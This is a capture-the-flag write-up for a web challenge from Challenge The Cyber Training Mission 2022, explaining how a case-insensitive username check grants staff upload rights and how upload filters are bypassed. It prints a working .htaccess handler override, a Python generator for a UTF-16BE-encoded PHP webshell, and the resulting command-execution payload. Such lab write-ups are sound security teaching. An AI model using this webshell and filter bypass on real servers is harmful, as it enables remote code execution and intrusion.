File Upload is part of the “Web” category of the Challenge The Cyber Training Mission 2022. The challenge consists of exploiting weak input validation and bypassing different upload filters.

Information

  • Category: Web
  • Difficulty: Easy
  • Challenge Author: Kolja

Skills Learned

  • Case-insensitive user registration bypass
  • File upload filter bypassing by using .htaccess file

Solution

Lets look around

First, lets take a look at the webapplication.

login register

We have the ability to login and register as a new user.

Lets try to register as a new user and upload an image.

staff-only-upload

When we try to upload an image as a new user we get an error saying that only staff members are able to upload data. So this is a dead end for now.

Next, lets take a look at the included zip file. The zipfile consists of two folders: sql and webserver. The sql folder has a interesting file named “sql.sql”, which declares a query to create a table and a query to insert a user with values: “username”, “password” and a “staff” boolean.

CREATE TABLE fileupload_users(
  id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(30) NOT NULL,
  password VARCHAR(256) NOT NULL,
  staff BIT(1)
);
INSERT INTO fileupload_users (username, password, staff) VALUES ('administrator', 'thisisadummyvalue', 1);

Now we know which user is stored inside the table “fileupload_users”. Lets try to login with this username “administrator” and password “thisisadummyvalue”:

invalid-username

No success..

And if I try to register with this username? does it exist?

user_exists

yes it does.. so we know adminstrator exists inside the table but with a different password. Lets move on.

Bypassing staff only filter

Lets take a look at the source code of the register.php file. On lines 12 to 17 the new username is validated and checked if it consists of special characters:

  // Validate username
    if (empty(trim($_POST["username"]))) {
        $username_err = "Please enter a username.";
    } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', trim($_POST["username"]))) {
        $username_err = "Username can only contain letters, numbers, and underscores.";
    } else {

But it’s not validated on size. So because we already know that administrator exists, maybe I can register as “Administrator” instead of “administrator”:

file-upload-succesfull

it works! We can now upload files as a staff member because we are logged in as administrator.

Bypassing filters

If we take a look at upload.php, We can see some restrictions to upload files.

On line 23 we can see the bad extentions:

$bad_extensions = ["php", "phtml", "pht"];

Files cant be bigger than 500000:

if ($_FILES["fileToUpload"]["size"] > 500000) {

And even after we managed to upload a file, there will be another filter looking for <? characters (PHP syntax):

if (str_contains($file_content, '<?')) {
      // If found write this to the log for later reporting
      error_log("Some hackers tried to upload code to our server. Pls check if we were compromised");
      // Overwrite the offending file with a warning to the hackers.
      $uploaded_file = fopen($target_file, "w");
      fwrite($uploaded_file, "Nice try hackers!");
    }

So let make a script to get around these filters.

The script

Because we cant use php phtml or pht, I tried to use different extentions like php16 and phtm, but no succes. After some googling I found a great article by Thibaud Robin about bypassing different upload filters.

We can’t upload files with a php extension. So the current goal is to have the possibility to execute php code in other files than .php. Because of Thibaud Robin, I now know, you can do the trick with .htaccess.

# .htaccess

#define width 1337
#define height 1337

AddType application/x-httpd-php .shell
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1

In this .htaccess file we define that .shell files will execute as application/x-httpd-php. Lets upload it.

htaccess-upload

Now that we’re able to bypass the bad extentions and the maximum size filters, we have to make sure we can bypass the check for <? characters. I used the following script by Thibaud Robin to generate webshell.shell in utf-16be to obfuscate the <? characters.

#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_shell_file(filename, script):
	phpfile = open(filename, 'wb') 

	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)

	phpfile.close()

generate_shell_file("webshell.shell", "<?php system($_GET['cmd']); die(); ?>")

This is what the generated file webshell.shell looks like:

<?php system($_GET['cmd']); die(); ?>

#define width 1337
#define height 1337

Even though the file still has the human-readable <? characters, the file itself is encoded in utf-16be. So the server won’t interpret these characters.

webshell-uploaded

Lets upload webshell.shell.

Foothold

Now that I’ve uploaded the webshell.shell we have to find out were the files are uploaded to. By going through the files inside the zip file, we can see that there is also a Dockerfile included. Inside this Dockerfile we have the following lines of code:

FROM php:8.1-apache
RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli
RUN apt-get update && apt-get upgrade -y

RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php.ini && \
    sed -i "s/error_reporting = .*$/error_reporting = E_ERROR | E_WARNING | E_PARSE/"     /usr/local/etc/php.ini && \
    sed -i 's/Listen 80/Listen 1024/' /etc/apache2/ports.conf

COPY src/ /var/www/html/
COPY flag /flag
RUN mv /flag /flag_$(tr -dc A-Za-z0-9 </dev/urandom | head -c 64)
RUN chmod 777 /flag*
RUN mkdir /var/www/html/uploads && chmod 777 -R /var/www/html/uploads
COPY 000-default.conf /etc/apache2/sites-enabled/000-default.conf 

Looks like the files might be uploaded to the /uploads directory. Now that we know were the files are uploaded, lets go to the following URL and see if the exploits works:

webshell-id

Niceeee!! As you can see we’re able to get remote code execution (RCE). Now the last thing for us to do is to get that flag!

So were is the flag? Lets take another look at the Dockerfile:

RUN mv /flag /flag_$(tr -dc A-Za-z0-9 </dev/urandom | head -c 64)

Well this must be it right? Looks like the flag is named after a different set of characters. Lets list the flag name by entering ls /flag*:

flag-ls

Now that we know the flag name, last thing to do is to read the contents of the flag file:

flag

And we got the flag!

References

Bypass Filter Upload: https://thibaud-robin.fr/articles/bypass-filter-upload/